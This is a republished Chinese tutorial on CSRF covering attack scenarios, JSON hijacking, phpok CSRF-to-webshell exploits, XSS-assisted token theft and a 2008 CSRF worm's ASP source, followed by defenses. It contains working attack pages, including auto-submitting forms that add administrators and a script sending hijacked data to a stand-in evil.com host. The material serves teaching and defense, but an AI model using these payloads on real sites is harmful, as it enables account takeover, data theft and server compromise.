<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/web/15556

            0x00 什么是CSRF


            CSRF全稱Cross Site Request Forgery,即跨站點請求偽造。我們知道,攻擊時常常伴隨著各種各樣的請求,而攻擊的發生也是由各種請求造成的。

            從前面這個名字里我們可以關注到兩個點:一個是“跨站點”,另一個是“偽造”。前者說明了CSRF攻擊發生時所伴隨的請求的來源,后者說明了該請求的產生方式。所謂偽造即該請求并不是用戶本身的意愿,而是由攻擊者構造,由受害者被動發出的。

            CSRF的攻擊過程大致如圖:

            0x01 CSRF攻擊存在的道理


            一種攻擊方式之所以能夠存在,必然是因為它能夠達到某種特定的目的。比如:通過程序中的緩沖區溢出漏洞,我們可以嘗試控制程序的流程,使其執行任意代碼;通過網站上的SQL注入漏洞,我們可以讀取數據庫中的敏感信息,進而獲取Webshell甚至獲取服務器的控制權等等。而CSRF攻擊能夠達到的目的是使受害者發出由攻擊者偽造的請求,那么這有什么作用呢?

            顯然,這種攻擊的威力和受害者的身份有著密切的聯系。說到這兒我們可以思考一下,攻擊者之所以要偽造請求由受害者發出,不正是想利用受害者的身份去達到一些目的嗎?換句話說,受害者身上有達到這個目的所必需的條件,

            而這些必需的條件在Web應用中便是各種各樣的認證信息,攻擊者就是利用這些認證信息來實現其各種各樣的目的。

            下面我們先看幾個攻擊場景。

            0x02 場景舉例


            (1)場景一:

            在一個bbs社區里,用戶在發言的時候會發出一個這樣的GET請求:

            #!html
            GET /talk.php?msg=hello HTTP/1.1
            Host: www.bbs.com
            …
            Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
            (空一行)
            

            這是用戶發言內容為“hello”時發出的請求,當然,用戶在請求的同時帶上了該域下的cookie,于是攻擊者構造了下面的csrf.html頁面:

            #!html
            <html>
                <img src=http://www.bbs.com/talk.php?msg=goodbye />
            </html>
            

            可以看到,攻擊者在自己的頁面中構造了一個發言的GET請求,然后把這個頁面放在自己的服務器上,鏈接為http://www.evil.com/csrf.html。之后攻擊者通過某種方式誘騙受害者訪問該鏈接,如果受害者此時處于登錄狀態,就會帶上bbs.com域下含有自己認證信息的cookie訪問http://www.bbs.com/talk.php?msg=goodbye,結果就是受害者按照攻擊者的意愿提交了一份內容為“goodbye”的發言。

            有人說這有什么大不了的,好,我們再看看另一個場景下的CSRF攻擊。

            (2)場景二:

            在一個CMS系統的后臺,發出下面的POST請求可以執行添加管理員的操作:

            #!html
            POST /manage.php?act=add HTTP/1.1
            Host: www.cms.com
            …
            Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
            is_admin=234mn9guqgpi3434f9r3msd8dkekwel
            (空一行)
            uname=test&pword=test
            

            在這里,攻擊者構造了的csrf2.html頁面如下:

            #!html
            <html>
                <form action="/manage.php?act=add" method="post">
                    <input type="text" name="uname" value="evil" />
                    <input type="password" name="pword" value="123456" />
                </form>
                <script>
                    document.forms[0].submit();
                </script>
            </html>
            

            該頁面的鏈接為http://www.evil.com/csrf2.html,攻擊者誘騙已經登錄后臺的網站管理員訪問該鏈接(比如通過給管理員留言等方式)會發生什么呢?當然是網站管理員根據攻擊者偽造的請求添加了一個用戶名為evil的管理員用戶。

            通過這些場景我們可以看到,CSRF攻擊會根據場景的不同而危害迥異。小到誘使用戶留言,大到垂直越權進行操作。這些攻擊的請求都是跨域發出,并且至關重要的一點,都是在受害者的身份得到認證以后發生的。另外,我們在第一個場景中攻擊時并沒有使用JavaScrpit,這說明CSRF攻擊并不依賴于JavaScript。

            0x03 CSRF攻擊方式


            (1)HTML CSRF攻擊:

            即利用HTML元素發出GET請求(帶src屬性的HTML標簽都可以跨域發起GET請求),如:

            #!html
            <link href="…">
            <img src="…">
            <iframe src="…">
            <meta http-equiv="refresh" content="0; url=…">
            <script src="…">
            <video src="…">
            <audio src="…">
            <a href="…">
            <table background="…">
            …
            

            若要構造POST請求,則必須用表單提交的方式。另外,這些標簽也可以用JavaScript動態生成,如:

            #!html
            <script>
                new Image().src = 'http://www.goal.com/…';
            </script>
            

            (2)JSON HiJacking攻擊:

            為了了解這種攻擊方式,我們先看一下Web開發中一種常用的跨域獲取數據的方式:JSONP。

            先說一下JSON吧,JSON是一種數據格式,主要由字典(鍵值對)和列表兩種存在形式,并且這兩種形式也可以互相嵌套,非常多的應用于數據傳輸的過程中。由于JSON的可讀性強,并且很適合JavaScript這樣的語言處理,已經取代XML格式成為主流。

            JSONP(JSON with Padding)是一個非官方的協議,是Web前端的JavaScript跨域獲取數據的一種方式。我們知道,JavaScript在讀寫數據時受到同源策略的限制,不可以讀寫其他域的數據,于是大家想出了這樣一種辦法:

            前端html代碼:

            #!html
            <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
            <script type="text/javascript"> 
                function jsonpCallback(result) { 
                    alert(result.a); 
                    alert(result.b);
                    alert(result.c); 
                    for(var i in result) { 
                        alert(i+":"+result[i]);//循環輸出a:1,b:2,etc. 
                    } 
                } 
            </script> 
            <script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
            

            后端的php代碼:

            #!php
            <?php 
            //服務端返回JSON數據 
            $arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
            $result=json_encode($arr); 
            //echo $_GET['callback'].'("Hello,World!")'; 
            //echo $_GET['callback']."($result)";
            //動態執行回調函數 
            $callback=$_GET['callback']; 
            echo $callback."($result)";
            ?>
            

            可以看到,前端先是定義了jsonpCallback函數來處理后端返回的JSON數據,然后利用script標簽的src屬性跨域獲取數據(前面說到帶src屬性的html標簽都可以跨域),并且把剛才定義的回調函數的名稱傳遞給了后端,于是后端構造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函數調用過程返回到前端執行,達到了跨域獲取數據的目的。

            一句話描述JSONP:前端定義函數卻在后端完成調用然后回到前端執行!

            明白了JSONP的調用過程之后,我們可以想象這樣的場景:

            當用戶通過身份認證之后,前端會通過JSONP的方式從服務端獲取該用戶的隱私數據,然后在前端進行一些處理,如個性化顯示等等。這個JSONP的調用接口如果沒有做相應的防護,就容易受到JSON HiJacking的攻擊。

            就以上面講JSONP的情景為例,攻擊者可以構造以下html頁面:

            #!html
            <html>
            <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
            <script type="text/javascript"> 
                function hijack(result) { 
                    var data = '';
                    for(var i in result) {
                        data += i + ':' + result[i];
                    }
                    new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把數據發送到攻擊者服務器上
                } 
            </script> 
            <script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
            </html>
            

            可以看到,攻擊者在頁面中構造了自己的回調函數,把獲取的數據都發送到了自己的服務器上。如果受害者在已經經過身份認證的情況下訪問了攻擊者構造的頁面,其隱私將暴露無疑。

            我們用以下幾張圖來總結一下JSON HiJacking的攻擊過程:

            (圖片來源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/

            0x04 CSRF的危害


            前面說了CSRF的基本概念,列舉了幾個CSRF的攻擊場景,講述了幾種CSRF的攻擊方法,現在我們來簡單總結一下CSRF攻擊可能造成的危害。

            CSRF能做的事情大概如下:

            1)篡改目標網站上的用戶數據;
            2)盜取用戶隱私數據;
            3)作為其他攻擊向量的輔助攻擊手法;
            4)傳播CSRF蠕蟲。

            其中前兩點我們在之前的例子中已經做了比較詳細的說明,不再贅述。第三點即將其他攻擊方法與CSRF進行結合進行攻擊,接下來我們以實際的漏洞實例來說明CSRF的第三個危害。

            另外,CSRF蠕蟲就是利用之前講述的各種攻擊方法,并且在攻擊代碼里添加了形成蠕蟲傳播條件的攻擊向量,這一點會在本文的最后介紹。

            0x05 基于CSRF攻擊實例

            我們來看一下phpok的兩個CSRF漏洞如何進行最大化的利用。這兩個漏洞均來自烏云:

            1. phpok csrf添加管理員+后臺getshell
            2. phpok csrf成功getshell(二)

            (1)版本4.2.100:

            在phpok該版本的后臺提交如下POST請求可以添加管理員:

            #!html
            POST /phpok/admin.php?c=admin&f=save HTTP/1.1
            Host: www.goal.com
            …
            Cookie: …
            (空一行)
            id=…&accont=…&pass=…&status=…&if_system=…
            

            攻擊者可以構造如下頁面:

            #!html
            <html>
                <div style="display:none">
                    <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
                        <input type="hidden" name="id" value=""/>
                        <input type="hidden" name="account" value=""/>
                        <input type="hidden" name="pass" value=""/>
                        <input type="hidden" name="email" value=""/>
                        <input type="hidden" name="status" value=""/>
                        <input type="hidden" name="if_system" value=""/>
                        <input type="submit" name="up" value="submit"/>
                    </form>
                    <script>
                        var t = document.poc;
                        t.account.value="wooyun";
                        t.pass.value="123456";
                        t.status.value="1";
                        t.if_system.value="1";
                        document.poc.submit();
                    </script>
                </div>
            </html>
            

            攻擊發生之前,如圖:

            管理員在登錄的情況下訪問攻擊者的頁面之后,如圖:

            可以看到,成功添加了一名管理員。

            攻擊到這里就結束了嗎?并沒有!攻擊者利用CSRF漏洞成功進入了后臺,他還要想辦法GetShell!

            在后臺風格管理-創建模板文件的地方添加一個模板,通過抓包改包的方式繞過前端對文件類型的判斷,如圖:

            GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

            改為GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

            可以看到成功添加了.php文件:

            然后在編輯文件內容為一句話木馬即可:

            在此次攻擊中,攻擊者最后利用后臺添加模板處的限制不嚴格拿到了Webshell,但在此之前使攻擊者得以進入后臺的卻是CSRF漏洞,由此可以看到CSRF在這次攻擊中的重要性。

            (2)還是4.2.100...

            剛才我們是通過CSRF先進入后臺,然后利用后臺的其他漏洞GetShell,這次我們直接在前臺利用CSRF漏洞去GetShell怎么樣?

            phpok的前臺可以上傳.zip文件,我們把木馬文件test.php壓縮為test.zip;

            注冊一個賬號,進入修改資料頁面;

            選擇一個正常的圖片,截獲數據,如圖:

            然后修改數據,如圖:

            成功上傳.zip文件,記錄下文件id號,這里是739。

            在后臺的程序升級-ZIP離線包升級中的升級操作存在CSRF漏洞,演示如圖:

            于是攻擊者可以構造如下頁面:

            #!html
            <html>
                <form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
                    <input type="hidden" name="zipfile" value=""/>
                    <input type="hidden" name="file" value=""/>
                    <input type="submit" name="up" value="submit"/>
                </form>
                <script>
                    var t = document.poc;
                    t.zipfile.value="739";
                    t.file.value="739";
                    document.poc.submit();
                </script>
            </html>
            

            管理員登錄后臺后訪問攻擊者的頁面,如圖:

            可以看到我們的木馬文件已經上傳到服務器上了。

            這次攻擊,我們根本沒有進入后臺,而是利用一個CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些場景下的威力之大,根本不亞于SQL注入和文件上傳這樣的漏洞。

            0x05 CSRF的防御


            前面我們了解了這么多有關CSRF攻擊的東西,目的是為了明白如何防御CSRF攻擊(真的是這樣嗎?...)。

            要防御CSRF攻擊,我們就要牢牢抓住CSRF攻擊的幾個特點。

            首先是“跨域”,我們發現CSRF攻擊的請求都是跨域的,針對這一特點,我們可以在服務端對HTTP請求頭部的Referer字段進行檢查。一般情況下,用戶提交的都是站內的請求,其Referer中的來源地址應該是站內的地址。至關重要的一點是,前端的JavaScript無法修改Referer字段,這也是這種防御方法成立的條件。

            不過需要說明的是,有的時候請求并不需要跨域,比如我們后面講到的結合XSS進行攻擊的時候,有的時候甚至沒有Referer字段…,這些也是使用這種防御方法的弊病所在。

            第二點是“偽造”,這也是CSRF攻擊的核心點,即偽造的請求。我們來想一下,攻擊者為什么能夠偽造請求呢?換句話說,攻擊者能夠偽造請求的條件是什么呢?縱觀之前我們偽造的所有請求,無一例外,請求中所有參數的值都是我們可以預測的,如果出現了攻擊者無法預測的參數值,那么將無法偽造請求,CSRF攻擊也不會發生。基于這一點,我們有了如下兩種防御方法:

            1. 添加驗證碼;

            2. 使用一次性token。

            先看看第一種。驗證碼的核心作用是區分人和機器,而CSRF攻擊中的請求是在受害者上當的情況下由瀏覽器自動發出的,屬于機器發出的請求,攻擊者無法預知驗證碼的值,所以使用驗證碼可以很好地防御CSRF攻擊,但毫無疑問,驗證碼會一定程度地影響用戶體驗,所以我們要在安全和用戶體驗之間找到一個平衡點。

            再看看第二種方法。所謂token是一段字母數字隨機值,我們可以把它理解為一個服務端幫我們填好的驗證碼!每當我們訪問該頁面時,服務端會根據時間戳、用戶ID、隨機串等因子生成一個隨機的token值并傳回到前端的表單中,當我們提交表單時,token會作為一個參數提交到服務端進行驗證。在這個請求過程中,token的值也是攻擊者無法預知的,而且由于同源策略的限制,攻擊者也無法使用JavaScript獲取其他域的token值,所以這種方法可以成功防御CSRF攻擊,也是現在用的最多的防御方式。

            但是,需要注意的一點是,token的生成一定要隨機,即不能被攻擊者預測到,否則這種防御將形同虛設。另外,token如果作為GET請求的參數在url中顯示的話,很容易在Referer中泄露。還有更重要的一點:如果在同域下存在XSS漏洞,那么基于token的CSRF防御將很容易被擊破,我們后面再說。

            除了“跨域”和“偽造”兩點,我們還可以注意到CSRF在攻擊時間上的特點:CSRF攻擊都是在受害者已經完成身份認證之后發生的,這是由CSRF攻擊的目的所決定的。基于這一點,我們還可以想出一些緩解CSRF攻擊的方法(注意是緩解),比如縮短Session的有效時間等等,可能一定程度上會降低CSRF攻擊的成功率。

            總結一下上面的防御方法如下:

            1. 驗證Referer;

            2. 使用驗證碼;

            3. 使用CSRF token;

            4. 限制Session生命周期。

            其中第四種屬于緩解類方法,就不多說了。我們看一下其他三種方法都分別存在什么弊病。

            Referer最大弊病:有些請求不帶Referer;

            驗證碼最大弊病:影響用戶體驗;

            CSRF token最大弊病:隨機性不夠好或通過各種方式泄露,此外,在大型的服務中需要一臺token生成及校驗的專用服務器,需要更改所有表單添加的字段,有時效性的問題。

            那么有沒有其它的辦法能夠有效地防御CSRF攻擊呢?xeye團隊的monyer提出了下面這樣的方法:

            原理與token差不多:當表單提交時,用JavaScript在本域添加一個臨時的Cookie字段,并將過期時間設為1秒之后在提交,服務端校驗有這個字段即放行,沒有則認為是CSRF攻擊。

            前面提到,token之所以可以防御CSRF,是因為攻擊者無法使用JavaScript獲取外域頁面中的token值,必須要遵守同源策略;而臨時Cookie的原理是:Cookie只能在父域和子域之間設置,也遵守同源策略,攻擊者無法設置該Cookie。

            下面看一個簡單的demo,前端http://127.0.0.1:8888/test.html

            #!html
            <html>
                <script>
                    function doit() {
                        var expires = new Date((new Date()).getTime()+1000);
                        document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
                    }
                </script>
                <form action="http://127.0.0.1:8888/test.php" name="f" id="f" onsubmit="doit();" target="if1">
                    <input type="button" value="normal submit" onclick="f.submit();">
                    <input type="button" value="with token" onclick="doit();f.submit();">
                    <input type="submit" value="hook submit">
                </form>
                <iframe src="about:blank" name="if1" id="if1"></iframe>
            </html>
            

            服務端http://127.0.0.1:8888/test.php:

            #!php
            <?php
            echo "<div>Cookies</div>";
            var_dump($_COOKIE);
            ?>
            

            前端test.html頁面中有三個按鈕:第一個是正常的表單提交;第二個是添加臨時Cookie后提交表單;第三個是以hook submit事件來添加臨時Cookie并提交。

            我們來演示一下效果,test.html頁面如圖:

            normal submit之后:

            看到只有xampp設置的一個Cookie,試一下with token按鈕:

            看到我們提交的Cookie中多出了一個名為“xeye”的Cookie,再試一下hook submit:

            效果和第二個相同。

            通過上面的演示,我們可以看到設置臨時Cookie的效果。

            不過這種方式只適用于單域名的站點,或者安全需求不需要“當子域發生XSS隔離父域”。因為子域是可以操作父域的Cookie的(通過設置當前域為父域的方式),所以這種方法的缺點也比較明顯:這種方法無法防御由于其他子域產生的XSS所進行的表單偽造提交(注意:使用token可能也會有這樣的問題,馬上說到)。但如果對于單域站點而言,這種防御方法的安全性可能會略大于token。

            對于這種防御方式的幾個小疑問:

            1. 網絡不流暢,有延遲會不會導致Cookie失效?這個顯然是不會的,因為服務端Cookie是在提交請求的header中獲得的。延時在服務端,不在客戶端,而1秒鐘足可以完成整個表單提交過程。

            2. Cookie的生成依賴于JavaScript,相當于這個token是明文的?這是肯定的,不管采用多少種加密,只要在客戶端,就會被破解,不過不管怎樣,CSRF無法在有用戶狀態的情況下添加這個臨時Cookie字段(同源策略)。雖然通過服務端可以,但是無法將當前用戶的狀態也帶過去(即攻擊者嘗試在自己的中轉服務器上添加臨時Cookie,但是這種做法背離CSRF攻擊的目的了,因為受害者的Cookie(認證信息)不會發到攻擊者的中轉服務器上啊…順便說一句,Referer也是同樣的道理)。

            3. 如果由于某種網絡問題無法獲取Cookie呢?那么保存用戶狀態的Cookie當然也無法獲取了,用戶只能再重新提交表單才可以,這就與CSRF無關了。

            由于這種防御策略還沒有被大規模使用,所以無法確定其是否真實有效。不過如果有效的話,這大概是一種最簡單的、對代碼改動最小,且對服務器壓力也最小的防御CSRF的方法。

            在攻擊方法中我們詳細講解了JSON HiJacking,那么針對這種特定的CSRF攻擊方法,我們有沒有什么特定的防御方法呢?

            當然有了,這里介紹兩種:

            1)在返回的腳本開始部分加入“while(1);”:

            當攻擊者通過JSON HiJacking的方式獲取到返回的JSON數據時,其攻擊代碼會陷入死循環中,無法將敏感信息發送到自己的服務器上,這樣就防止了信息泄露;而正常的客戶端代碼可以正確地處理返回的JSON數據,它可以先將“while(1);”去掉再正常處理。

            這樣做相比較與其他方式CSRF的方法有一個突出的好處,即不依賴瀏覽器的邊界安全策略,而是在代碼級別引入保護機制。

            Google的部分服務就采取了這種防御方法,具體內容可以參考下面的鏈接:

            http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses

            2) 使用POST表單提交的方式獲取JSON數據:

            當前端可以使用XMLHttpRequest獲取JSON數據時,當然也可以使用POST表單的方式完成這項任務,這樣的話攻擊者就無法使用script標簽來獲取JSON數據(因為src屬性發出的是GET請求)。

            縱觀這些CSRF的防御方法,無一不是針對CSRF攻擊成立的條件進行破壞,這也是“未知攻,焉知防”道理的體現。我們在對自己的網站進行防御的時候,要根據自己的業務場景,選擇一個最合適的防御方案。

            0x06 結合XSS的CSRF攻擊


            前面我們說到了基于CSRF的攻擊,講的是在一整套攻擊中使用CSRF來達到最終目的或某個中間目的。而這里我們要說的是:如何利用CSRF的“黃金搭檔”——XSS來輔助我們完成一次CSRF攻擊。

            為什么說XSS是CSRF的“黃金搭檔”呢?因為當XSS存在時,我們往往可以利用它來突破目標站點對CSRF攻擊的防護;還有一些情況,比如我們可以找到一些“SELF-XSS”,即只能跨自己,那么如果可以CSRF的話,就不僅僅能跨自己了。我們標題里說的“結合”就是指這兩種方式。

            下面我們舉例說明:

            1) 利用XSS竊取token之后發起CSRF攻擊

            以前面0x05中的第一個例子為例,我們的目標是進入后臺。

            加入添加管理員的POST請求如下(加入了token):

            #!html
            POST /phpok/admin.php?c=admin&f=save HTTP/1.1
            Host: www.goal.com
            …
            Cookie: …
            (空一行)
            id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…
            

            那么我們就不能直接構造出攻擊頁面了,因為token的值我們無法預測,一般情況下我們也無法得到token的值,但我們假設,在給管理員留言的地方存在XSS漏洞,但是管理員的Cookie加了HttpOnly屬性,我們無法通過XSS直接獲取管理員的Cookie,那該怎么辦呢?我們可以把這兩個漏洞結合起來利用。

            我們可以利用XSS在管理員的瀏覽器中執行下面的JavaScript代碼:

            #!html
            <script>
                var frameObj = document.createElement("iframe");
                frameObj.setAttribute("id", "add");
                document.body.appendChild(frameObj);
                document.getElementById("add").src = "admin.php?c=admin&f=save";
                var token = document.getElementById("add").contentWindow.document.getElementById("token").value; //從iframe中的頁面中獲取token值
                var xmlhttp;
                if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
                    xmlhttp = new XMLHttpRequest();
                } else { // code for IE6, IE5
                    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
                }
                xmlhttp.open("POST", "admin.php?c=admin&f=save", true);
                xmlhttp.send("id = & accont = wooyun&pass=123456&status=1&if_system=1&token=" + token); //帶上token提交添加管理員的請求
            </script>
            

            代碼很好理解,首先我們通過iframe的方式嵌入含有token的頁面,因為同域,所以我們可以對頁面中的DOM進行讀寫操作,所以順利取得token;然后我們利用AJAX的方式帶上token提交添加管理員的請求,我們依靠XSS成功突破了頁面對CSRF攻擊的防護。

            2) 結合CSRF發起XSS攻擊

            (實例來源:百度某站可結合CSRF及XSS劫持賬號

            在百度詞典-我的詞典處,有將生詞添加進生詞本的功能,在備注的時候沒有進行過濾,可以直接插入JavaScript代碼。

            但這顯然是一個“SELF-XSS”,只能跨自己,有什么用呢?

            再看看,頁面似乎沒有對CSRF做防護,那么我們是不是可以利用CSRF來觸發這個XSS,讓別人跨自己呢?

            構造POST請求頁面如下:

            #!html
            <html>
            <head>
                <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
            </head>
            <body>
                <form id="baidu" name="baidu" action="http://dict.baidu.com/wordlist.php" method="POST">
                    <input type="text" name="req" value="add" />
                    <input type="text" name="word" value="Wooyun" />
                    <input type="text" name="explain" value="<script src=http://xsserme></script>" />
                    <input type="submit" value="submit" />
                </form>
                <script>
                    document.baidu.submit();
                </script>
            </body>
            </html>
            

            誘惑受害者訪問該頁面,效果如圖:

            看看生詞本:

            已經成功添加了一個新單詞“Wooyun”,到我們的XSS平臺上看看備注中的JavaScript代碼有沒有執行:

            代碼成功執行!

            由此可以看到,如果能夠將XSS攻擊和CSRF攻擊結合起來,會產生1+1>2的效果。

            0x07 CSRF蠕蟲


            說說蠕蟲。

            蠕蟲有兩大特征:

            1) 傳播性;

            2) 惡意行為。

            蠕蟲的惡意行為是由其傳播性引起的,也就是說,凡是傳播可以做的事,蠕蟲基本上都可以做,而且還可以做些和特定蠕蟲有關的事,比如我們要說的CSRF蠕蟲就可以大批量地獲取用戶的隱私信息(CSRF的危害之一嘛)。

            所以,我們主要研究CSRF蠕蟲的傳播性。

            CSRF蠕蟲的傳播性如何實現呢?在前面我們提到過,CSRF蠕蟲就是在CSRF的攻擊頁面中加入了蠕蟲傳播的攻擊向量。這聽上去感覺很容易,但實施起來恐怕還要多考慮一些東西。

            仔細想想,在一個SNS網站上傳播CSRF蠕蟲有一個不得不考慮的問題:蠕蟲面對的是不同的用戶,而不僅僅是某一個受害者。那對于不同的用戶,其對應的請求(CSRF核心:偽造的請求嘛)會不會有些地方不一樣呢?

            沒錯,在之前的CSRF攻擊中,我們的攻擊目標是某一個特定的個體。當我們可以預測其請求的所有參數之后,我們就可以發起攻擊。但是在SNS網站上傳播CSRF蠕蟲就不是這么簡單。即使每個用戶的所有請求參數都可以預測,但是對于不同的用戶,其對應的請求參數是不一樣的,我們無法像前面的攻擊那樣構造攻擊頁面,必須想辦法獲取這些標識不同用戶的數據。

            方法一:利用服務端腳本獲取

            在這里,我們構造的攻擊頁面不是一個簡單的.html文件了,而是一個服務端腳本,如php、asp等等。

            受害者的標識信息,如用戶id等,經常出現在url中,這樣我們就可以利用服務端腳本來獲取請求的Referer中的用戶id,以此為基礎構造出html+js的攻擊頁面,在攻擊向量中添加我們服務端腳本的鏈接,以此造成蠕蟲傳播的效果。

            方法二:利用JSON HiJacking技術獲取

            JSON HiJacking的攻擊方法前面已經講得很詳細了,如果網站上提供了這樣的獲取數據的接口,那么利用這種技術獲取用戶的隱私信息是一個不錯的方法。

            綜上所述,如果一個SNS網站上存在CSRF漏洞,并且我們有辦法獲取到用戶的標識信息,那么就滿足了CSRF蠕蟲傳播的條件,這個網站就是可蠕蟲的。

            下面看一個CSRF蠕蟲實例:

            這是2008年發起的一次針對譯言網(www.yeeyan.org)的CSRF蠕蟲攻擊,攻擊者的鏈接為http://www.evilsite.com/yeeyan.asp,服務端腳本yeeyan.asp內容如下:

            <%
            'auther: Xlaile
            'data: 2008-09-21
            'this is the CSRF Worm of www.yeeyan.com        
            
            r = Request.ServerVariables("HTTP_REFERER")
            '獲取用戶的來源地址,如:http://www.yeeyan.com/space/show/hving        
            
            If InStr(r, "http://www.yeeyan.com/space/show") > 0 Then
                'referer判斷,因為攻擊對象為yeeyan個人空間留言板,就是這樣的地址        
            
                Function regx(patrn, str)
                    Dim regEx
                    Dim Match
                    Dim Matches
                    Set regEx        = New RegExp
                    regEx.Pattern    = patrn
                    regEx.IgnoreCace = True
                    regEx.Global     = True
                    Set Matches      = regEx.Execute(str)    
            
                    For Each Match in Matches
                        RetStr          = RetStr & Match.Value & " | "
                    Next    
            
                    regx             = RetStr
                End Function    
            
                Function bytes2BSTR(vIn)
                    Dim strReturn
                    Dim i1
                    Dim ThisCharCode
                    Dim NextCharCode
                    strReturn      = ""    
            
                    For i1 = 1 To LenB(vIn)
                        ThisCharCode  = AscB(MidB(vIn,i1,1))    
            
                        If ThisCharCode <  & H80 Then
                            strReturn    = strReturn & Chr(ThisCharCode)
                        Else
                            NextCharCode = AscB(MidB(vIn,i1 + 1,1))
                            strReturn    = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode))
                            i1           = i1 + 1
                        End If    
            
                    Next    
            
                    bytes2BSTR = strReturn
                    End
                    id         = Mid(r,34) '獲取用戶標識ID,如:hving
                    furl       = "http://www.yeeyan.com/space/friends/" + id '用戶好友列表鏈接是這樣的
                    Set http   = Server.CreateObject("Microsoft.XMLHTTP") '使用這個控件
                    http.Open "GET",furl,False '同步,GET請求furl鏈接
                    http.Send '發送請求
                    ftext  = http.ResponseText '返回請求結果,為furl鏈接對應的HTML內容
                    fstr   = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
                    '正則獲取被攻擊用戶的所有好友的ID值,CSRF留言時需要這個值
                    farray = Split(fstr , " | ")
                    '下面幾句就是對獲取到的ID值進行簡單處理,然后扔進f(999)數組中
                    Dim f(999)    
            
                    For i = 0 To UBound(farry) - 1
                        f(i)    = Mid(farray(i),6,Len(farray(i)) - 16)
                    Next    
            
                    Set http = Nothing    
            
                    s        = ""    
            
                    For i = 0 To UBound(farray) - 1
                        s       = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接著循環遍歷好友列表,使用iframe發起CSRF攻擊
                    Next    
            
                    Response.Write(s)    
            
                    ' Set http=Server.CreateObject("Microsoft.XMLHTTP")        
            
                    ' http.open "POST","http://www.yeeyan.com/groups/newTopic/",False        
            
                    ' c = "hello"        
            
                    cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)    
            
                    ' http.send cc        
            
                End If     
            %>
            

            其中yeeyan_iframe.asp代碼如下:

            <%
            'author: Xlaile
            'date: 2008-09-21
            'this is the CSRF Worm of www.yeeyan.com
            'id = Request("id")    
            
            s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/' onsubmit='return false'>"    
            
            s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>    
            
            s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"    
            
            s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>    
            
            s = s+"</form>"    
            
            s = s+"<script>document.forms[0].submit();</script>"    
            
            Response.write(s)    
            
            %>
            

            這段代碼只具備傳播性,屬于沒有惡意的實驗代碼。從yeeyan.asp的代碼中我們可以看到,攻擊者就是依靠Referer字段得到了譯言用戶的id值。而yeeyan_iframe.asp是構造表單的代碼,用來具體發起CSRF攻擊。當用戶登錄譯言網,并且點擊攻擊者的鏈接后,這個CSRF蠕蟲就會開始傳播。

            0x08 還有什么東西?


            寫到這里,我所了解的有關CSRF攻擊與防御的內容就差不多寫完了。在寫前面內容的時候,我一直在有意回避一個東西,那就是在現在的Web前端仍然占有重要地位的Flash,以及ActionScript腳本。

            這里就簡單補充一下,這些東西和CSRF攻擊有什么聯系。

            首先,我們必須先介紹一個文件——crossdomain.xml,次文件通常在網站的根目錄下存在,比如http://www.qq.com網站上的crossdomain.xml文件內容如下:

            https://www.baidu.com網站上的crossdomain.xml文件內容如下:

            該配置文件中的“allow-access-from domain”用來配置哪些域的Flash請求可以訪問本域的資源。如果該項值為“*”,則表示任何與的Flash都可以訪問,這是非常危險的。當存在這樣的配置時,攻擊者可以利用ActionScript腳本輕松突破同源策略的限制,如下:

            #!html
            import flash.net. *
            //請求隱私數據所在頁面    
            
            var loader = new URLLoader(new URLRequest(http: //www.foo.com/private);    
            
            loader.addEventListener(Event.COMPLETE, function() { //當請求完成后    
                loader.data; //獲取到隱私數據    
                //更多操作    
            });
            
            Loader.load(); //發起請求
            

            當通過身份認證的受害者被誘惑訪問含有以上腳本的頁面時,其隱私將可能被攻擊者盜走。

            除此之外,這種跨域獲取信息的方法還可以應用在CSRF蠕蟲之中,同樣是在2008年,飯否(www.fanfou.com)就被基于Flash的CSRF蠕蟲攻擊,當時包含飯否CSRF蠕蟲的Flash游戲界面如下:

            0x09 結束


            由于水平有限,本文寫到這里就差不多結束了,里面是我對CSRF幾乎所有的認知,包括基本概念、攻擊原理、攻擊目的、攻擊手段以及防御方法等等。需要特別說明的是,文中有許多內容來自《Web前端黑客技術解密》這本書。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线